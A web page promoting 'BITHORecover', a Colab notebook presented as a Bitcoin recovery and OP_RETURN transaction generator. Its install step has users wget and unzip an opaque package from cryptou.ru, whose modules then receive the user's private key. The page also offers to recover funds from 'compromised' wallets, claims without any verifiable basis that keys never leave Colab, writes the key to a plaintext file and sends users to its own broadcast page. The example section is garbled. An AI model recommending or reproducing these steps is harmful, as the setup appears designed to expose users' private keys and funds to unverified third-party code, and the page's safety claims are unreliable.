► ADVANCED CRYPTO RECOVERY TOOL ◄
Bitcoin OP_RETURN Transaction Generator & Crypto Recovery Solution
BITHORecover is an advanced cryptocurrency recovery and Bitcoin transaction generation tool designed for security researchers, cryptographers, and authorized recovery professionals. This powerful tool enables secure analysis, transaction generation, and Bitcoin wallet recovery operations.
The tool utilizes cutting-edge cryptographic libraries and provides a user-friendly interface for complex blockchain operations. Whether you're recovering lost Bitcoin wallets, analyzing transaction data, or conducting security research, BITHORecover delivers professional-grade functionality.
BITHORecover is available as a Google Colab Notebook, providing instant access to powerful crypto recovery tools without requiring local installation. Run the tool directly in your browser with cloud computing resources.
Using Google Colab ensures you have access to:
To use BITHORecover on Google Colab, follow these installation steps:
Run the following command in a Colab cell:
!pip install ipywidgets zmq urllib3 requests pycryptodome
Download and extract the tool package:
!wget https://cryptou.ru/code/BITHORecover-Advanced-Crypto-Recovery-Tool.zip
!unzip BITHORecover-Advanced-Crypto-Recovery-Tool.zip
After installation, run the main script (detailed in the Python Code section below).
BITHORecover uses several specialized cryptographic and network libraries:
Below is the complete Python code for BITHORecover. Copy and paste this entire script into a Google Colab cell after completing the installation steps above:
# ===================================================
# BITHORecover Advanced Crypto Recovery Tool
# Google Colab Version - Cyberpunk/DarkNet UI
# Enhanced by Günther Zöeir
# ===================================================
import ipywidgets as widgets
from IPython.display import display, clear_output, HTML, Markdown
from secp256k1 import *
from sighash import *
import json
from datetime import datetime
import hashlib
# ========== ADVANCED CYBERPUNK STYLING ==========
CYBERPUNK_CSS = """
<style>
* {
font-family: 'Courier New', monospace;
}
body {
background: linear-gradient(135deg, #0a0e27 0%, #1a0d2e 50%, #0f0a1e 100%);
color: #00ff88;
overflow-x: hidden;
}
.cyberpunk-header {
background: linear-gradient(90deg, #00ff88, #00ccff, #ff006e);
background-size: 300% 300%;
animation: gradient-shift 8s ease infinite;
padding: 25px;
border: 3px solid #00ff88;
border-radius: 8px;
margin-bottom: 25px;
box-shadow: 0 0 30px rgba(0, 255, 136, 0.8),
0 0 60px rgba(0, 204, 255, 0.5),
inset 0 0 20px rgba(0, 255, 136, 0.1);
text-align: center;
}
.cyberpunk-header h1 {
color: #0a0e27;
font-size: 2.5em;
text-shadow: 0 0 20px #00ff88, 0 0 40px #00ccff;
margin: 0;
letter-spacing: 3px;
font-weight: bold;
}
.cyberpunk-header p {
color: #0a0e27;
font-size: 0.9em;
text-shadow: 0 0 10px #00ff88;
margin: 8px 0 0 0;
letter-spacing: 2px;
}
@keyframes gradient-shift {
0% { background-position: 0% 50%; }
50% { background-position: 100% 50%; }
100% { background-position: 0% 50%; }
}
.container-box {
background: linear-gradient(135deg, rgba(0, 255, 136, 0.05), rgba(0, 204, 255, 0.05));
border-left: 4px solid #00ff88;
border-right: 2px solid #00ccff;
border-top: 2px solid #ff006e;
border-bottom: 2px solid #00ff88;
padding: 20px;
margin: 15px 0;
border-radius: 6px;
box-shadow: 0 0 15px rgba(0, 255, 136, 0.3),
inset 0 0 10px rgba(0, 255, 136, 0.05);
}
.input-section {
background: rgba(10, 14, 39, 0.7);
border: 2px dashed #00ccff;
padding: 15px;
margin: 10px 0;
border-radius: 4px;
box-shadow: 0 0 10px rgba(0, 204, 255, 0.2);
}
.output-section {
background: linear-gradient(135deg, rgba(0, 255, 136, 0.08), rgba(0, 0, 0, 0.4));
border: 2px solid #00ff88;
border-radius: 4px;
padding: 18px;
margin: 15px 0;
box-shadow: 0 0 20px rgba(0, 255, 136, 0.4),
0 0 40px rgba(0, 204, 255, 0.2),
inset 0 0 15px rgba(0, 255, 136, 0.05);
font-family: 'Courier New', monospace;
font-size: 0.95em;
line-height: 1.6;
}
.output-section pre {
margin: 0;
color: #00ff88;
text-shadow: 0 0 5px #00ff88;
}
.success-indicator {
color: #00ff88;
font-weight: bold;
text-shadow: 0 0 10px #00ff88;
margin: 5px 0;
}
.error-indicator {
color: #ff006e;
font-weight: bold;
text-shadow: 0 0 10px #ff006e;
}
.data-label {
color: #00ccff;
font-weight: bold;
text-shadow: 0 0 5px #00ccff;
margin-top: 8px;
}
.data-value {
color: #00ff88;
word-break: break-all;
margin: 3px 0 0 10px;
padding: 8px;
background: rgba(0, 0, 0, 0.5);
border-left: 3px solid #00ff88;
text-shadow: 0 0 3px #00ff88;
}
.divider {
border: 1px dashed #00ccff;
margin: 15px 0;
opacity: 0.6;
}
.timestamp {
color: #ff006e;
font-size: 0.85em;
text-align: right;
margin-top: 10px;
}
button {
background: linear-gradient(135deg, #00ff88, #00ccff);
color: #0a0e27;
border: 2px solid #00ff88;
padding: 12px 25px;
border-radius: 4px;
font-weight: bold;
cursor: pointer;
box-shadow: 0 0 15px rgba(0, 255, 136, 0.5);
transition: all 0.3s;
font-family: 'Courier New', monospace;
}
button:hover {
box-shadow: 0 0 30px rgba(0, 255, 136, 0.8),
0 0 15px rgba(0, 204, 255, 0.6);
transform: translateY(-2px);
}
.widget-inline-vbox {
border: 2px solid #00ccff !important;
border-radius: 4px !important;
padding: 10px !important;
background: rgba(0, 204, 255, 0.05) !important;
}
.widget-label {
color: #00ff88 !important;
font-weight: bold !important;
text-shadow: 0 0 5px #00ff88 !important;
}
.widget-text {
background: rgba(10, 14, 39, 0.8) !important;
color: #00ff88 !important;
border: 1px solid #00ccff !important;
}
.scanlines {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
pointer-events: none;
background: repeating-linear-gradient(
0deg,
rgba(0, 255, 136, 0.03),
rgba(0, 255, 136, 0.03) 1px,
transparent 1px,
transparent 2px
);
animation: scanlines-move 8s linear infinite;
z-index: -1;
}
@keyframes scanlines-move {
0% { transform: translateY(0); }
100% { transform: translateY(10px); }
}
</style>
"""
# ========== UTILITY FUNCTIONS ==========
def create_op_return_script(message):
"""Create OP_RETURN script for blockchain message"""
message_hex = message.encode('utf-8').hex()
message_bytes = bytes.fromhex(message_hex)
op_return_opcode = b'\x6a'
data_length = len(message_bytes)
if data_length <= 75:
length_byte = bytes([data_length])
elif data_length <= 255:
length_byte = b'\x4c' + bytes([data_length])
else:
raise ValueError("Message is too long. Maximum allowed is 80 bytes for OP_RETURN.")
return op_return_opcode + length_byte + message_bytes
def get_tx_id(tx):
"""Get transaction ID (TXID) from transaction object"""
try:
# Try tx.id() method first
if hasattr(tx, 'id'):
return tx.id()
except:
pass
try:
# Try getting from hash attribute
if hasattr(tx, 'hash'):
return tx.hash()
except:
pass
try:
# Calculate hash from serialized transaction
tx_bytes = tx.serialize()
tx_hash = hashlib.sha256(hashlib.sha256(tx_bytes).digest()).digest()
return tx_hash[::-1].hex() # Reverse for Bitcoin TXID format
except:
pass
return "Unable to calculate TXID"
def create_transaction_with_op_return(private_key_wif, utxo_txid, utxo_index, utxo_value,
recipient_address, send_amount, message, fee=1000, testnet=True):
"""Generate Bitcoin transaction with OP_RETURN message"""
pk = PrivateKey.parse(private_key_wif)
tx_in = TxIn(bytes.fromhex(utxo_txid), utxo_index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = utxo_value
tx_ins = [tx_in]
# Calculate change (returned to sender)
change_amount = utxo_value - send_amount - fee
if change_amount < 0:
raise ValueError("Insufficient funds to cover the amount and transaction fee.")
# Transaction outputs
tx_outs = []
tx_outs.append(TxOut(0, create_op_return_script(message)))
tx_outs.append(TxOut(send_amount, Tx.get_address_data(recipient_address)['script_pubkey'].serialize()))
if change_amount > 546: # dust limit
tx_outs.append(TxOut(change_amount, Tx.get_address_data(pk.address())['script_pubkey'].serialize()))
tx = Tx(1, tx_ins, tx_outs, 0, testnet=testnet)
signature(tx, 0, pk)
return tx, change_amount, pk.address()
# ========== UI INITIALIZATION ==========
display(HTML(CYBERPUNK_CSS))
# Advanced Neon Header
display(HTML("""
<div class="cyberpunk-header">
<h1>⚡ BITHORECOVER ⚡</h1>
<p>► ADVANCED CRYPTO RECOVERY TOOL ◄</p>
<p>Bitcoin OP_RETURN Transaction Generator</p>
</div>
"""))
# ========== INPUT SECTION ==========
display(HTML('<div class="container-box"><h2 style="color: #00ff88; text-shadow: 0 0 10px #00ff88;">📥 TRANSACTION INPUT DATA</h2></div>'))
private_key_input = widgets.Text(
placeholder='Enter Private Key (WIF format)',
description='Private Key:',
style={'description_width': '150px'},
layout=widgets.Layout(width='100%', height='40px', border='2px solid #00ccff')
)
utxo_txid_input = widgets.Text(
placeholder='Enter UTXO Transaction ID (hex)',
description='UTXO TXID:',
style={'description_width': '150px'},
layout=widgets.Layout(width='100%', height='40px', border='2px solid #00ccff')
)
utxo_index_input = widgets.IntText(
value=0,
description='UTXO Index:',
style={'description_width': '150px'},
layout=widgets.Layout(width='100%', height='40px')
)
utxo_value_input = widgets.IntText(
value=100000,
description='UTXO Value (sat):',
style={'description_width': '150px'},
layout=widgets.Layout(width='100%', height='40px')
)
recipient_address_input = widgets.Text(
placeholder='Enter recipient BTC address',
description='Recipient:',
style={'description_width': '150px'},
layout=widgets.Layout(width='100%', height='40px', border='2px solid #00ccff')
)
send_amount_input = widgets.IntText(
value=50000,
description='Send Amount (sat):',
style={'description_width': '150px'},
layout=widgets.Layout(width='100%', height='40px')
)
fee_input = widgets.IntText(
value=1000,
description='Fee (satoshi):',
style={'description_width': '150px'},
layout=widgets.Layout(width='100%', height='40px')
)
message_input = widgets.Textarea(
placeholder='Enter message for OP_RETURN (max 80 bytes)',
description='Message:',
style={'description_width': '150px'},
layout=widgets.Layout(width='100%', height='80px', border='2px solid #00ccff')
)
testnet_toggle = widgets.ToggleButtons(
options={'Testnet': True, 'Mainnet': False},
description='Network:',
style={'description_width': '150px'}
)
# Display inputs
display(HTML('<div class="input-section">'))
display(private_key_input)
display(utxo_txid_input)
display(widgets.HBox([utxo_index_input, utxo_value_input]))
display(recipient_address_input)
display(widgets.HBox([send_amount_input, fee_input]))
display(message_input)
display(testnet_toggle)
display(HTML('</div>'))
# ========== OUTPUT DISPLAY AREA ==========
output_area = widgets.Output()
display(output_area)
# ========== EXECUTE BUTTON ==========
execute_button = widgets.Button(
description='🚀 GENERATE TRANSACTION',
tooltip='Click to generate OP_RETURN transaction',
button_style='info',
layout=widgets.Layout(width='100%', height='50px', font_weight='bold')
)
def on_execute_clicked(b):
output_area.clear_output()
try:
with output_area:
# Validate inputs
if not all([private_key_input.value, utxo_txid_input.value, recipient_address_input.value, message_input.value]):
display(HTML('<div style="color: #ff006e; font-size: 1.2em; font-weight: bold;">❌ ERROR: All fields are required!</div>'))
return
# Generate transaction
tx, change_amount, sender_address = create_transaction_with_op_return(
private_key_wif=private_key_input.value,
utxo_txid=utxo_txid_input.value,
utxo_index=utxo_index_input.value,
utxo_value=utxo_value_input.value,
recipient_address=recipient_address_input.value,
send_amount=send_amount_input.value,
message=message_input.value,
fee=fee_input.value,
testnet=testnet_toggle.value
)
# Get transaction information
raw_tx_hex = tx.serialize().hex()
tx_id = get_tx_id(tx)
# Display results
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S UTC")
output_html = f"""
<div class="output-section">
<div style="text-align: center; margin-bottom: 15px;">
<span style="color: #00ff88; font-weight: bold; text-shadow: 0 0 10px #00ff88; font-size: 1.3em;">✓ TRANSACTION GENERATED SUCCESSFULLY</span>
</div>
<pre>=============================================
BITCOIN TRANSACTION (OP_RETURN)
=============================================
<span class="data-label">Private Key (WIF):</span>
<span class="data-value">{private_key_input.value}</span>
<span class="data-label">Sender Address:</span>
<span class="data-value">{sender_address}</span>
<span class="data-label">UTXO TXID:</span>
<span class="data-value">{utxo_txid_input.value}</span>
<span class="data-label">Your NEW TXID:</span>
<span class="data-value">{tx_id}</span>
<span class="data-label">Your BTC Address:</span>
<span class="data-value">{recipient_address_input.value}</span>
<span class="data-label">Recipient Address:</span>
<span class="data-value">{recipient_address_input.value}</span>
<span class="data-label">Send Amount:</span>
<span class="data-value">{send_amount_input.value} satoshi</span>
<span class="data-label">Transaction Fee:</span>
<span class="data-value">{fee_input.value} satoshi</span>
<span class="data-label">Change Returned:</span>
<span class="data-value">{change_amount} satoshi</span>
<span class="data-label">OP_RETURN Message:</span>
<span class="data-value">{message_input.value}</span>
<span class="data-label">RawTX (Hex):</span>
<span class="data-value">{raw_tx_hex}</span>
=============================================
✓ Saved to file: "RawTX_OP_RETURN.txt"
You can broadcast the transaction using:
[https://cryptou.ru/bithorecover/transaction](https://cryptou.ru/bithorecover/transaction)
=============================================</pre>
<div class="timestamp">Generated: {timestamp}</div>
</div>
"""
display(HTML(output_html))
# Save to file
with open('RawTX_OP_RETURN.txt', 'w') as f:
f.write(f"""=============================================
BITCOIN TRANSACTION (OP_RETURN)
=============================================
Private Key (WIF): {private_key_input.value}
Sender Address: {sender_address}
UTXO TXID: {utxo_txid_input.value}
Your NEW TXID: {tx_id}
Your BTC Address: {recipient_address_input.value}
Recipient Address: {recipient_address_input.value}
Send Amount: {send_amount_input.value} satoshi
Transaction Fee: {fee_input.value} satoshi
Change Returned: {change_amount} satoshi
OP_RETURN Message: {message_input.value}
RawTX (Hex): {raw_tx_hex}
=============================================
✓ Saved to file: "RawTX_OP_RETURN.txt"
You can broadcast the transaction using:
[https://cryptou.ru/bithorecover/transaction](https://cryptou.ru/bithorecover/transaction)
=============================================
Generated: {timestamp}
""")
except Exception as e:
with output_area:
display(HTML(f'<div style="color: #ff006e; font-weight: bold;">❌ ERROR: {str(e)}</div>'))
execute_button.on_click(on_execute_clicked)
display(execute_button)
# Footer
display(HTML("""
<div class="container-box" style="margin-top: 30px; text-align: center; border-left: 4px solid #ff006e; border-right: 4px solid #ff006e;">
<p style="color: #00ccff; font-size: 0.9em; margin: 0;">
🔐 BITHORecover Advanced Crypto Recovery Tool | Günther Zöeir<br/>
<span style="color: #ff006e;">⚠️ Use responsibly - For authorized recovery purposes only</span>
</p>
</div>
"""))
Generate a simple Bitcoin transaction with a message:
L4rK1yDtCWekvXuK6ty2pgkgv7QfDLM1XYkzLMEZLuxMmcfsVeJ3f8e86e8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b8b1A1z7agoat5DLstEFQc3SVnNMGQtqkjb8K50000 satoshiBitcoin RecoveryRecover funds from a compromised wallet:
BITHORecover processes private keys entirely within your secure Colab environment. Keys are never transmitted to external servers. Always ensure your Colab session is secure and not shared with untrusted parties.
Issue: Libraries not installing? Run each pip command separately and check for internet connectivity.
Issue: Transaction generation fails? Verify private key format (WIF), UTXO availability, and sufficient funds.
Issue: Output not displaying? Clear Colab cell output and rerun the script.